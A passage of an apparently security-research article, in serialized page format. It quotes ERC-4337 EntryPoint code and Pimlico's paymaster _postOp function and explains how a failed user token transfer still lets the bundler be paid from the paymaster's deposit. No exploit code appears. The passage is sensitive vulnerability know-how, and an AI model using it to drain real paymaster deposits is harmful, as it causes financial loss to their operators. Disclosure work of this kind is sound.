paymaster;\n",{"type":24,"tag":327,"props":113181,"children":113182},{"class":329,"line":586},[113183,113187,113192,113196,113200],{"type":24,"tag":327,"props":113184,"children":113185},{"style":425},[113186],{"type":29,"value":110247},{"type":24,"tag":327,"props":113188,"children":113189},{"style":346},[113190],{"type":29,"value":113191}," (context.length ",{"type":24,"tag":327,"props":113193,"children":113194},{"style":381},[113195],{"type":29,"value":438},{"type":24,"tag":327,"props":113197,"children":113198},{"style":397},[113199],{"type":29,"value":6695},{"type":24,"tag":327,"props":113201,"children":113202},{"style":346},[113203],{"type":29,"value":364},{"type":24,"tag":327,"props":113205,"children":113206},{"class":329,"line":1017},[113207,113212,113216,113220,113224],{"type":24,"tag":327,"props":113208,"children":113209},{"style":346},[113210],{"type":29,"value":113211},"                    actualGasCost ",{"type":24,"tag":327,"props":113213,"children":113214},{"style":381},[113215],{"type":29,"value":384},{"type":24,"tag":327,"props":113217,"children":113218},{"style":346},[113219],{"type":29,"value":112019},{"type":24,"tag":327,"props":113221,"children":113222},{"style":381},[113223],{"type":29,"value":469},{"type":24,"tag":327,"props":113225,"children":113226},{"style":346},[113227],{"type":29,"value":113228}," gasPrice;\n",{"type":24,"tag":327,"props":113230,"children":113231},{"class":329,"line":1026},[113232,113236,113241,113245,113249],{"type":24,"tag":327,"props":113233,"children":113234},{"style":1639},[113235],{"type":29,"value":110204},{"type":24,"tag":327,"props":113237,"children":113238},{"style":346},[113239],{"type":29,"value":113240}," postOpPreGas ",{"type":24,"tag":327,"props":113242,"children":113243},{"style":381},[113244],{"type":29,"value":384},{"type":24,"tag":327,"props":113246,"children":113247},{"style":334},[113248],{"type":29,"value":112037},{"type":24,"tag":327,"props":113250,"children":113251},{"style":346},[113252],{"type":29,"value":4838},{"type":24,"tag":327,"props":113254,"children":113255},{"class":329,"line":1048},[113256,113261,113266,113270],{"type":24,"tag":327,"props":113257,"children":113258},{"style":425},[113259],{"type":29,"value":113260},"                    if",{"type":24,"tag":327,"props":113262,"children":113263},{"style":346},[113264],{"type":29,"value":113265}," (mode ",{"type":24,"tag":327,"props":113267,"children":113268},{"style":381},[113269],{"type":29,"value":573},{"type":24,"tag":327,"props":113271,"children":113272},{"style":346},[113273],{"type":29,"value":113274}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":24,"tag":327,"props":113276,"children":113277},{"class":329,"line":1067},[113278,113283,113288],{"type":24,"tag":327,"props":113279,"children":113280},{"style":425},[113281],{"type":29,"value":113282},"                        try",{"type":24,"tag":327,"props":113284,"children":113285},{"style":340},[113286],{"type":29,"value":113287}," IPaymaster",{"type":24,"tag":327,"props":113289,"children":113290},{"style":346},[113291],{"type":29,"value":113292},"(paymaster).postOp{\n",{"type":24,"tag":327,"props":113294,"children":113295},{"class":329,"line":1075},[113296,113301,113305],{"type":24,"tag":327,"props":113297,"children":113298},{"style":346},[113299],{"type":29,"value":113300},"                                gas",{"type":24,"tag":327,"props":113302,"children":113303},{"style":381},[113304],{"type":29,"value":1636},{"type":24,"tag":327,"props":113306,"children":113307},{"style":346},[113308],{"type":29,"value":113309}," mUserOp.paymasterPostOpGasLimit\n",{"type":24,"tag":327,"props":113311,"children":113312},{"class":329,"line":1084},[113313],{"type":24,"tag":327,"props":113314,"children":113315},{"style":346},[113316],{"type":29,"value":113317},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":24,"tag":327,"props":113319,"children":113320},{"class":329,"line":1100},[113321,113326,113331],{"type":24,"tag":327,"props":113322,"children":113323},{"style":551},[113324],{"type":29,"value":113325},"                        // ",{"type":24,"tag":327,"props":113327,"children":113328},{"style":334},[113329],{"type":29,"value":113330},"solhint-disable",{"type":24,"tag":327,"props":113332,"children":113333},{"style":551},[113334],{"type":29,"value":113335},"-next-line no-empty-blocks\n",{"type":24,"tag":327,"props":113337,"children":113338},{"class":329,"line":1128},[113339,113344,113348],{"type":24,"tag":327,"props":113340,"children":113341},{"style":346},[113342],{"type":29,"value":113343},"                        {} ",{"type":24,"tag":327,"props":113345,"children":113346},{"style":425},[113347],{"type":29,"value":55131},{"type":24,"tag":327,"props":113349,"children":113350},{"style":346},[113351],{"type":29,"value":497},{"type":24,"tag":327,"props":113353,"children":113354},{"class":329,"line":1148},[113355,113360,113364,113369,113373,113377,113381],{"type":24,"tag":327,"props":113356,"children":113357},{"style":1639},[113358],{"type":29,"value":113359},"                            bytes",{"type":24,"tag":327,"props":113361,"children":113362},{"style":334},[113363],{"type":29,"value":109807},{"type":24,"tag":327,"props":113365,"children":113366},{"style":346},[113367],{"type":29,"value":113368}," reason ",{"type":24,"tag":327,"props":113370,"children":113371},{"style":381},[113372],{"type":29,"value":384},{"type":24,"tag":327,"props":113374,"children":113375},{"style":346},[113376],{"type":29,"value":112578},{"type":24,"tag":327,"props":113378,"children":113379},{"style":340},[113380],{"type":29,"value":112669},{"type":24,"tag":327,"props":113382,"children":113383},{"style":346},[113384],{"type":29,"value":112674},{"type":24,"tag":327,"props":113386,"children":113387},{"class":329,"line":1176},[113388,113393,113398],{"type":24,"tag":327,"props":113389,"children":113390},{"style":425},[113391],{"type":29,"value":113392},"                            revert",{"type":24,"tag":327,"props":113394,"children":113395},{"style":340},[113396],{"type":29,"value":113397}," PostOpReverted",{"type":24,"tag":327,"props":113399,"children":113400},{"style":346},[113401],{"type":29,"value":113402},"(reason);\n",{"type":24,"tag":327,"props":113404,"children":113405},{"class":329,"line":1184},[113406],{"type":24,"tag":327,"props":113407,"children":113408},{"style":346},[113409],{"type":29,"value":77703},{"type":24,"tag":327,"props":113411,"children":113412},{"class":329,"line":1192},[113413],{"type":24,"tag":327,"props":113414,"children":113415},{"style":346},[113416],{"type":29,"value":77788},{"type":24,"tag":327,"props":113418,"children":113419},{"class":329,"line":1212},[113420],{"type":24,"tag":327,"props":113421,"children":113422},{"style":551},[113423],{"type":29,"value":113424},"                    // Calculating a penalty for unused postOp gas\n",{"type":24,"tag":327,"props":113426,"children":113427},{"class":329,"line":4841},[113428,113432,113436],{"type":24,"tag":327,"props":113429,"children":113430},{"style":551},[113431],{"type":29,"value":110269},{"type":24,"tag":327,"props":113433,"children":113434},{"style":334},[113435],{"type":29,"value":73483},{"type":24,"tag":327,"props":113437,"children":113438},{"style":551},[113439],{"type":29,"value":113440}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":24,"tag":327,"props":113442,"children":113443},{"class":329,"line":4862},[113444,113448,113453,113457,113461,113465,113469],{"type":24,"tag":327,"props":113445,"children":113446},{"style":1639},[113447],{"type":29,"value":110204},{"type":24,"tag":327,"props":113449,"children":113450},{"style":346},[113451],{"type":29,"value":113452}," postOpGasUsed ",{"type":24,"tag":327,"props":113454,"children":113455},{"style":381},[113456],{"type":29,"value":384},{"type":24,"tag":327,"props":113458,"children":113459},{"style":346},[113460],{"type":29,"value":113240},{"type":24,"tag":327,"props":113462,"children":113463},{"style":381},[113464],{"type":29,"value":11899},{"type":24,"tag":327,"props":113466,"children":113467},{"style":334},[113468],{"type":29,"value":112037},{"type":24,"tag":327,"props":113470,"children":113471},{"style":346},[113472],{"type":29,"value":4838},{"type":24,"tag":327,"props":113474,"children":113475},{"class":329,"line":4870},[113476,113481,113485,113490],{"type":24,"tag":327,"props":113477,"children":113478},{"style":346},[113479],{"type":29,"value":113480},"                    postOpUnusedGasPenalty ",{"type":24,"tag":327,"props":113482,"children":113483},{"style":381},[113484],{"type":29,"value":384},{"type":24,"tag":327,"props":113486,"children":113487},{"style":340},[113488],{"type":29,"value":113489}," _getUnusedGasPenalty",{"type":24,"tag":327,"props":113491,"children":113492},{"style":346},[113493],{"type":29,"value":113494},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":24,"tag":327,"props":113496,"children":113497},{"class":329,"line":4879},[113498],{"type":24,"tag":327,"props":113499,"children":113500},{"style":346},[113501],{"type":29,"value":77796},{"type":24,"tag":327,"props":113503,"children":113504},{"class":329,"line":4913},[113505],{"type":24,"tag":327,"props":113506,"children":113507},{"style":346},[113508],{"type":29,"value":65607},{"type":24,"tag":327,"props":113510,"children":113511},{"class":329,"line":4938},[113512],{"type":24,"tag":327,"props":113513,"children":113514},{"style":346},[113515],{"type":29,"value":111528},{"type":24,"tag":327,"props":113517,"children":113518},{"class":329,"line":4974},[113519],{"type":24,"tag":327,"props":113520,"children":113521},{"style":346},[113522],{"type":29,"value":535},{"type":24,"tag":25,"props":113524,"children":113525},{},[113526,113528,113533,113535,113541,113543,113549,113551,113556,113558,113563,113565,113570,113572,113577,113579,113584,113586,113591],{"type":29,"value":113527},"It turns out that if the ",{"type":24,"tag":284,"props":113529,"children":113531},{"className":113530},[],[113532],{"type":29,"value":109108},{"type":29,"value":113534}," call fails, it will revert with ",{"type":24,"tag":284,"props":113536,"children":113538},{"className":113537},[],[113539],{"type":29,"value":113540},"PostOpReverted",{"type":29,"value":113542},". However, as we can see in the previous code of ",{"type":24,"tag":284,"props":113544,"children":113546},{"className":113545},[],[113547],{"type":29,"value":113548},"_executeUserOp",{"type":29,"value":113550},", even though ",{"type":24,"tag":284,"props":113552,"children":113554},{"className":113553},[],[113555],{"type":29,"value":112250},{"type":29,"value":113557}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":24,"tag":284,"props":113559,"children":113561},{"className":113560},[],[113562],{"type":29,"value":112918},{"type":29,"value":113564}," call with ",{"type":24,"tag":284,"props":113566,"children":113568},{"className":113567},[],[113569],{"type":29,"value":112926},{"type":29,"value":113571}," mode, and it won't try to call ",{"type":24,"tag":284,"props":113573,"children":113575},{"className":113574},[],[113576],{"type":29,"value":109108},{"type":29,"value":113578}," again. This means the ",{"type":24,"tag":284,"props":113580,"children":113582},{"className":113581},[],[113583],{"type":29,"value":108969},{"type":29,"value":113585}," still gets paid for submitting the failed ",{"type":24,"tag":284,"props":113587,"children":113589},{"className":113588},[],[113590],{"type":29,"value":108909},{"type":29,"value":66},{"type":24,"tag":25,"props":113593,"children":113594},{},[113595,113597,113602,113604,113609,113611,113618],{"type":29,"value":113596},"Now that we understand this behavior where ",{"type":24,"tag":284,"props":113598,"children":113600},{"className":113599},[],[113601],{"type":29,"value":109108},{"type":29,"value":113603}," is allowed to fail while the ",{"type":24,"tag":284,"props":113605,"children":113607},{"className":113606},[],[113608],{"type":29,"value":108969},{"type":29,"value":113610}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":24,"tag":57,"props":113612,"children":113615},{"href":113613,"rel":113614},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[61],[113616],{"type":29,"value":113617},"Pimlico",{"type":29,"value":66},{"type":24,"tag":317,"props":113620,"children":113622},{"className":12046,"code":113621,"language":12045,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[113623],{"type":24,"tag":284,"props":113624,"children":113625},{"__ignoreMap":7},[113626,113641,113658,113678,113694,113706,113713,113720,113727,113758,113765,113790,113798,113805,113812,113841,113848,113864,113886,113893,113909,113959,113966,113982,113990,114023,114056,114064,114071,114078,114121,114128,114177,114203,114210,114217,114234],{"type":24,"tag":327,"props":113627,"children":113628},{"class":329,"line":330},[113629,113633,113637],{"type":24,"tag":327,"props":113630,"children":113631},{"style":334},[113632],{"type":29,"value":96558},{"type":24,"tag":327,"props":113634,"children":113635},{"style":340},[113636],{"type":29,"value":110510},{"type":24,"tag":327,"props":113638,"children":113639},{"style":346},[113640],{"type":29,"value":4663},{"type":24,"tag":327,"props":113642,"children":113643},{"class":329,"line":367},[113644,113649,113653],{"type":24,"tag":327,"props":113645,"children":113646},{"style":334},[113647],{"type":29,"value":113648},"        PostOpMode",{"type":24,"tag":327,"props":113650,"children":113651},{"style":346},[113652],{"type":29,"value":2744},{"type":24,"tag":327,"props":113654,"children":113655},{"style":551},[113656],{"type":29,"value":113657},"/* mode */\n",{"type":24,"tag":327,"props":113659,"children":113660},{"class":329,"line":408},[113661,113665,113669,113674],{"type":24,"tag":327,"props":113662,"children":113663},{"style":1639},[113664],{"type":29,"value":112426},{"type":24,"tag":327,"props":113666,"children":113667},{"style":334},[113668],{"type":29,"value":109739},{"type":24,"tag":327,"props":113670,"children":113671},{"style":356},[113672],{"type":29,"value":113673}," _context",{"type":24,"tag":327,"props":113675,"children":113676},{"style":346},[113677],{"type":29,"value":2231},{"type":24,"tag":327,"props":113679,"children":113680},{"class":329,"line":421},[113681,113685,113690],{"type":24,"tag":327,"props":113682,"children":113683},{"style":1639},[113684],{"type":29,"value":96736},{"type":24,"tag":327,"props":113686,"children":113687},{"style":356},[113688],{"type":29,"value":113689}," _actualGasCost",{"type":24,"tag":327,"props":113691,"children":113692},{"style":346},[113693],{"type":29,"value":2231},{"type":24,"tag":327,"props":113695,"children":113696},{"class":329,"line":450},[113697,113701],{"type":24,"tag":327,"props":113698,"children":113699},{"style":1639},[113700],{"type":29,"value":96736},{"type":24,"tag":327,"props":113702,"children":113703},{"style":356},[113704],{"type":29,"value":113705}," _actualUserOpFeePerGas\n",{"type":24,"tag":327,"props":113707,"children":113708},{"class":329,"line":481},[113709],{"type":24,"tag":327,"props":113710,"children":113711},{"style":346},[113712],{"type":29,"value":5366},{"type":24,"tag":327,"props":113714,"children":113715},{"class":329,"line":500},[113716],{"type":24,"tag":327,"props":113717,"children":113718},{"style":334},[113719],{"type":29,"value":109778},{"type":24,"tag":327,"props":113721,"children":113722},{"class":329,"line":529},[113723],{"type":24,"tag":327,"props":113724,"children":113725},{"style":346},[113726],{"type":29,"value":35895},{"type":24,"tag":327,"props":113728,"children":113729},{"class":329,"line":538},[113730,113735,113739,113744,113748,113753],{"type":24,"tag":327,"props":113731,"children":113732},{"style":346},[113733],{"type":29,"value":113734},"        ERC20PostOpContext ",{"type":24,"tag":327,"props":113736,"children":113737},{"style":334},[113738],{"type":29,"value":82699},{"type":24,"tag":327,"props":113740,"children":113741},{"style":346},[113742],{"type":29,"value":113743}," ctx ",{"type":24,"tag":327,"props":113745,"children":113746},{"style":381},[113747],{"type":29,"value":384},{"type":24,"tag":327,"props":113749,"children":113750},{"style":340},[113751],{"type":29,"value":113752}," _parsePostOpContext",{"type":24,"tag":327,"props":113754,"children":113755},{"style":346},[113756],{"type":29,"value":113757},"(_context);\n",{"type":24,"tag":327,"props":113759,"children":113760},{"class":329,"line":547},[113761],{"type":24,"tag":327,"props":113762,"children":113763},{"emptyLinePlaceholder":16},[113764],{"type":29,"value":544},{"type":24,"tag":327,"props":113766,"children":113767},{"class":329,"line":557},[113768,113772,113777,113781,113786],{"type":24,"tag":327,"props":113769,"children":113770},{"style":1639},[113771],{"type":29,"value":96736},{"type":24,"tag":327,"props":113773,"children":113774},{"style":346},[113775],{"type":29,"value":113776}," expectedPenaltyGasCost ",{"type":24,"tag":327,"props":113778,"children":113779},{"style":381},[113780],{"type":29,"value":384},{"type":24,"tag":327,"props":113782,"children":113783},{"style":340},[113784],{"type":29,"value":113785}," _expectedPenaltyGasCost",{"type":24,"tag":327,"props":113787,"children":113788},{"style":346},[113789],{"type":29,"value":4663},{"type":24,"tag":327,"props":113791,"children":113792},{"class":329,"line":586},[113793],{"type":24,"tag":327,"props":113794,"children":113795},{"style":346},[113796],{"type":29,"value":113797},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":24,"tag":327,"props":113799,"children":113800},{"class":329,"line":1017},[113801],{"type":24,"tag":327,"props":113802,"children":113803},{"style":346},[113804],{"type":29,"value":15306},{"type":24,"tag":327,"props":113806,"children":113807},{"class":329,"line":1026},[113808],{"type":24,"tag":327,"props":113809,"children":113810},{"emptyLinePlaceholder":16},[113811],{"type":29,"value":544},{"type":24,"tag":327,"props":113813,"children":113814},{"class":329,"line":1048},[113815,113819,113823,113827,113832,113836],{"type":24,"tag":327,"props":113816,"children":113817},{"style":1639},[113818],{"type":29,"value":96736},{"type":24,"tag":327,"props":113820,"children":113821},{"style":346},[113822],{"type":29,"value":110834},{"type":24,"tag":327,"props":113824,"children":113825},{"style":381},[113826],{"type":29,"value":384},{"type":24,"tag":327,"props":113828,"children":113829},{"style":346},[113830],{"type":29,"value":113831}," _actualGasCost ",{"type":24,"tag":327,"props":113833,"children":113834},{"style":381},[113835],{"type":29,"value":394},{"type":24,"tag":327,"props":113837,"children":113838},{"style":346},[113839],{"type":29,"value":113840}," expectedPenaltyGasCost;\n",{"type":24,"tag":327,"props":113842,"children":113843},{"class":329,"line":1067},[113844],{"type":24,"tag":327,"props":113845,"children":113846},{"emptyLinePlaceholder":16},[113847],{"type":29,"value":544},{"type":24,"tag":327,"props":113849,"children":113850},{"class":329,"line":1075},[113851,113855,113860],{"type":24,"tag":327,"props":113852,"children":113853},{"style":1639},[113854],{"type":29,"value":96736},{"type":24,"tag":327,"props":113856,"children":113857},{"style":346},[113858],{"type":29,"value":113859}," costInToken ",{"type":24,"tag":327,"props":113861,"children":113862},{"style":381},[113863],{"type":29,"value":22220},{"type":24,"tag":327,"props":113865,"children":113866},{"class":329,"line":1084},[113867,113872,113877,113881],{"type":24,"tag":327,"props":113868,"children":113869},{"style":340},[113870],{"type":29,"value":113871},"            getCostInToken",{"type":24,"tag":327,"props":113873,"children":113874},{"style":346},[113875],{"type":29,"value":113876},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":24,"tag":327,"props":113878,"children":113879},{"style":381},[113880],{"type":29,"value":394},{"type":24,"tag":327,"props":113882,"children":113883},{"style":346},[113884],{"type":29,"value":113885}," ctx.constantFee;\n",{"type":24,"tag":327,"props":113887,"children":113888},{"class":329,"line":1100},[113889],{"type":24,"tag":327,"props":113890,"children":113891},{"emptyLinePlaceholder":16},[113892],{"type":29,"value":544},{"type":24,"tag":327,"props":113894,"children":113895},{"class":329,"line":1128},[113896,113900,113905],{"type":24,"tag":327,"props":113897,"children":113898},{"style":1639},[113899],{"type":29,"value":96736},{"type":24,"tag":327,"props":113901,"children":113902},{"style":346},[113903],{"type":29,"value":113904}," absoluteCostInToken ",{"type":24,"tag":327,"props":113906,"children":113907},{"style":381},[113908],{"type":29,"value":22220},{"type":24,"tag":327,"props":113910,"children":113911},{"class":329,"line":1148},[113912,113917,113921,113926,113930,113934,113938,113942,113946,113950,113954],{"type":24,"tag":327,"props":113913,"children":113914},{"style":346},[113915],{"type":29,"value":113916},"            costInToken ",{"type":24,"tag":327,"props":113918,"children":113919},{"style":381},[113920],{"type":29,"value":438},{"type":24,"tag":327,"props":113922,"children":113923},{"style":346},[113924],{"type":29,"value":113925}," ctx.preFundCharged ",{"type":24,"tag":327,"props":113927,"children":113928},{"style":381},[113929],{"type":29,"value":7437},{"type":24,"tag":327,"props":113931,"children":113932},{"style":346},[113933],{"type":29,"value":113859},{"type":24,"tag":327,"props":113935,"children":113936},{"style":381},[113937],{"type":29,"value":11899},{"type":24,"tag":327,"props":113939,"children":113940},{"style":346},[113941],{"type":29,"value":113925},{"type":24,"tag":327,"props":113943,"children":113944},{"style":381},[113945],{"type":29,"value":1636},{"type":24,"tag":327,"props":113947,"children":113948},{"style":346},[113949],{"type":29,"value":113925},{"type":24,"tag":327,"props":113951,"children":113952},{"style":381},[113953],{"type":29,"value":11899},{"type":24,"tag":327,"props":113955,"children":113956},{"style":346},[113957],{"type":29,"value":113958}," costInToken;\n",{"type":24,"tag":327,"props":113960,"children":113961},{"class":329,"line":1176},[113962],{"type":24,"tag":327,"props":113963,"children":113964},{"emptyLinePlaceholder":16},[113965],{"type":29,"value":544},{"type":24,"tag":327,"props":113967,"children":113968},{"class":329,"line":1184},[113969,113974,113978],{"type":24,"tag":327,"props":113970,"children":113971},{"style":346},[113972],{"type":29,"value":113973},"        SafeTransferLib.",{"type":24,"tag":327,"props":113975,"children":113976},{"style":340},[113977],{"type":29,"value":110365},{"type":24,"tag":327,"props":113979,"children":113980},{"style":346},[113981],{"type":29,"value":4663},{"type":24,"tag":327,"props":113983,"children":113984},{"class":329,"line":1192},[113985],{"type":24,"tag":327,"props":113986,"children":113987},{"style":346},[113988],{"type":29,"value":113989},"            ctx.token,\n",{"type":24,"tag":327,"props":113991,"children":113992},{"class":329,"line":1212},[113993,113997,114001,114005,114009,114014,114018],{"type":24,"tag":327,"props":113994,"children":113995},{"style":346},[113996],{"type":29,"value":113916},{"type":24,"tag":327,"props":113998,"children":113999},{"style":381},[114000],{"type":29,"value":438},{"type":24,"tag":327,"props":114002,"children":114003},{"style":346},[114004],{"type":29,"value":113925},{"type":24,"tag":327,"props":114006,"children":114007},{"style":381},[114008],{"type":29,"value":7437},{"type":24,"tag":327,"props":114010,"children":114011},{"style":346},[114012],{"type":29,"value":114013}," ctx.sender ",{"type":24,"tag":327,"props":114015,"children":114016},{"style":381},[114017],{"type":29,"value":1636},{"type":24,"tag":327,"props":114019,"children":114020},{"style":346},[114021],{"type":29,"value":114022}," ctx.treasury,\n",{"type":24,"tag":327,"props":114024,"children":114025},{"class":329,"line":4841},[114026,114030,114034,114038,114042,114047,114051],{"type":24,"tag":327,"props":114027,"children":114028},{"style":346},[114029],{"type":29,"value":113916},{"type":24,"tag":327,"props":114031,"children":114032},{"style":381},[114033],{"type":29,"value":438},{"type":24,"tag":327,"props":114035,"children":114036},{"style":346},[114037],{"type":29,"value":113925},{"type":24,"tag":327,"props":114039,"children":114040},{"style":381},[114041],{"type":29,"value":7437},{"type":24,"tag":327,"props":114043,"children":114044},{"style":346},[114045],{"type":29,"value":114046}," ctx.treasury ",{"type":24,"tag":327,"props":114048,"children":114049},{"style":381},[114050],{"type":29,"value":1636},{"type":24,"tag":327,"props":114052,"children":114053},{"style":346},[114054],{"type":29,"value":114055}," ctx.sender,\n",{"type":24,"tag":327,"props":114057,"children":114058},{"class":329,"line":4862},[114059],{"type":24,"tag":327,"props":114060,"children":114061},{"style":346},[114062],{"type":29,"value":114063},"            absoluteCostInToken\n",{"type":24,"tag":327,"props":114065,"children":114066},{"class":329,"line":4870},[114067],{"type":24,"tag":327,"props":114068,"children":114069},{"style":346},[114070],{"type":29,"value":15306},{"type":24,"tag":327,"props":114072,"children":114073},{"class":329,"line":4879},[114074],{"type":24,"tag":327,"props":114075,"children":114076},{"emptyLinePlaceholder":16},[114077],{"type":29,"value":544},{"type":24,"tag":327,"props":114079,"children":114080},{"class":329,"line":4913},[114081,114085,114090,114094,114099,114103,114108,114112,114117],{"type":24,"tag":327,"props":114082,"children":114083},{"style":1639},[114084],{"type":29,"value":96736},{"type":24,"tag":327,"props":114086,"children":114087},{"style":346},[114088],{"type":29,"value":114089}," preFundInToken ",{"type":24,"tag":327,"props":114091,"children":114092},{"style":381},[114093],{"type":29,"value":384},{"type":24,"tag":327,"props":114095,"children":114096},{"style":346},[114097],{"type":29,"value":114098}," (ctx.preFund ",{"type":24,"tag":327,"props":114100,"children":114101},{"style":381},[114102],{"type":29,"value":469},{"type":24,"tag":327,"props":114104,"children":114105},{"style":346},[114106],{"type":29,"value":114107}," ctx.exchangeRate) ",{"type":24,"tag":327,"props":114109,"children":114110},{"style":381},[114111],{"type":29,"value":2899},{"type":24,"tag":327,"props":114113,"children":114114},{"style":397},[114115],{"type":29,"value":114116}," 1e18",{"type":24,"tag":327,"props":114118,"children":114119},{"style":346},[114120],{"type":29,"value":405},{"type":24,"tag":327,"props":114122,"children":114123},{"class":329,"line":4938},[114124],{"type":24,"tag":327,"props":114125,"children":114126},{"emptyLinePlaceholder":16},[114127],{"type":29,"value":544},{"type":24,"tag":327,"props":114129,"children":114130},{"class":329,"line":4974},[114131,114135,114140,114144,114148,114152,114156,114160,114164,114168,114172],{"type":24,"tag":327,"props":114132,"children":114133},{"style":425},[114134],{"type":29,"value":8861},{"type":24,"tag":327,"props":114136,"children":114137},{"style":346},[114138],{"type":29,"value":114139}," (ctx.recipient ",{"type":24,"tag":327,"props":114141,"children":114142},{"style":381},[114143],{"type":29,"value":573},{"type":24,"tag":327,"props":114145,"children":114146},{"style":1639},[114147],{"type":29,"value":13816},{"type":24,"tag":327,"props":114149,"children":114150},{"style":346},[114151],{"type":29,"value":349},{"type":24,"tag":327,"props":114153,"children":114154},{"style":397},[114155],{"type":29,"value":2988},{"type":24,"tag":327,"props":114157,"children":114158},{"style":346},[114159],{"type":29,"value":1674},{"type":24,"tag":327,"props":114161,"children":114162},{"style":381},[114163],{"type":29,"value":79922},{"type":24,"tag":327,"props":114165,"children":114166},{"style":346},[114167],{"type":29,"value":114089},{"type":24,"tag":327,"props":114169,"children":114170},{"style":381},[114171],{"type":29,"value":438},{"type":24,"tag":327,"props":114173,"children":114174},{"style":346},[114175],{"type":29,"value":114176}," costInToken) {\n",{"type":24,"tag":327,"props":114178,"children":114179},{"class":329,"line":4982},[114180,114185,114189,114194,114198],{"type":24,"tag":327,"props":114181,"children":114182},{"style":346},[114183],{"type":29,"value":114184},"            SafeTransferLib.",{"type":24,"tag":327,"props":114186,"children":114187},{"style":340},[114188],{"type":29,"value":110365},{"type":24,"tag":327,"props":114190,"children":114191},{"style":346},[114192],{"type":29,"value":114193},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":24,"tag":327,"props":114195,"children":114196},{"style":381},[114197],{"type":29,"value":11899},{"type":24,"tag":327,"props":114199,"children":114200},{"style":346},[114201],{"type":29,"value":114202}," costInToken);\n",{"type":24,"tag":327,"props":114204,"children":114205},{"class":329,"line":4990},[114206],{"type":24,"tag":327,"props":114207,"children":114208},{"style":346},[114209],{"type":29,"value":8989},{"type":24,"tag":327,"props":114211,"children":114212},{"class":329,"line":4999},[114213],{"type":24,"tag":327,"props":114214,"children":114215},{"emptyLinePlaceholder":16},[114216],{"type":29,"value":544},{"type":24,"tag":327,"props":114218,"children":114219},{"class":329,"line":5042},[114220,114225,114229],{"type":24,"tag":327,"props":114221,"children":114222},{"style":425},[114223],{"type":29,"value":114224},"        emit",{"type":24,"tag":327,"props":114226,"children":114227},{"style":340},[114228],{"type":29,"value":111099},{"type":24,"tag":327,"props":114230,"children":114231},{"style":346},[114232],{"type":29,"value":114233},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":24,"tag":327,"props":114235,"children":114236},{"class":329,"line":5075},[114237],{"type":24,"tag":327,"props":114238,"children":114239},{"style":346},[114240],{"type":29,"value":535},{"type":24,"tag":25,"props":114242,"children":114243},{},[114244,114246,114251,114253,114259,114261,114267,114269,114274,114276,114281],{"type":29,"value":114245},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":24,"tag":284,"props":114247,"children":114249},{"className":114248},[],[114250],{"type":29,"value":110365},{"type":29,"value":114252},". Note that ",{"type":24,"tag":284,"props":114254,"children":114256},{"className":114255},[],[114257],{"type":29,"value":114258},"preFundCharged",{"type":29,"value":114260}," can be zero, as users can opt out of any ",{"type":24,"tag":284,"props":114262,"children":114264},{"className":114263},[],[114265],{"type":29,"value":114266},"preFund",{"type":29,"value":114268}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":24,"tag":284,"props":114270,"children":114272},{"className":114271},[],[114273],{"type":29,"value":111166},{"type":29,"value":114275}," call inside ",{"type":24,"tag":284,"props":114277,"children":114279},{"className":114278},[],[114280],{"type":29,"value":112250},{"type":29,"value":114282}," will revert and the paymaster won't be able to collect payment from the user.",{"type":24,"tag":25,"props":114284,"children":114285},{},[114286,114288,114293,114295,114301,114303,114309],{"type":29,"value":114287},"However, even when ",{"type":24,"tag":284,"props":114289,"children":114291},{"className":114290},[],[114292],{"type":29,"value":111166},{"type":29,"value":114294}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":24,"tag":284,"props":114296,"children":114298},{"className":114297},[],[114299],{"type":29,"value":114300},"requiredPrefund",{"type":29,"value":114302}," was taken from the paymaster's ",{"type":24,"tag":57,"props":114304,"children":114307},{"href":114305,"rel":114306},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[61],[114308],{"type":29,"value":68686},{"type":29,"value":66},{"type":24,"tag":25,"props":114311,"children":114312},{},[114313,114315,114320],{"type":29,"value":114314},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the 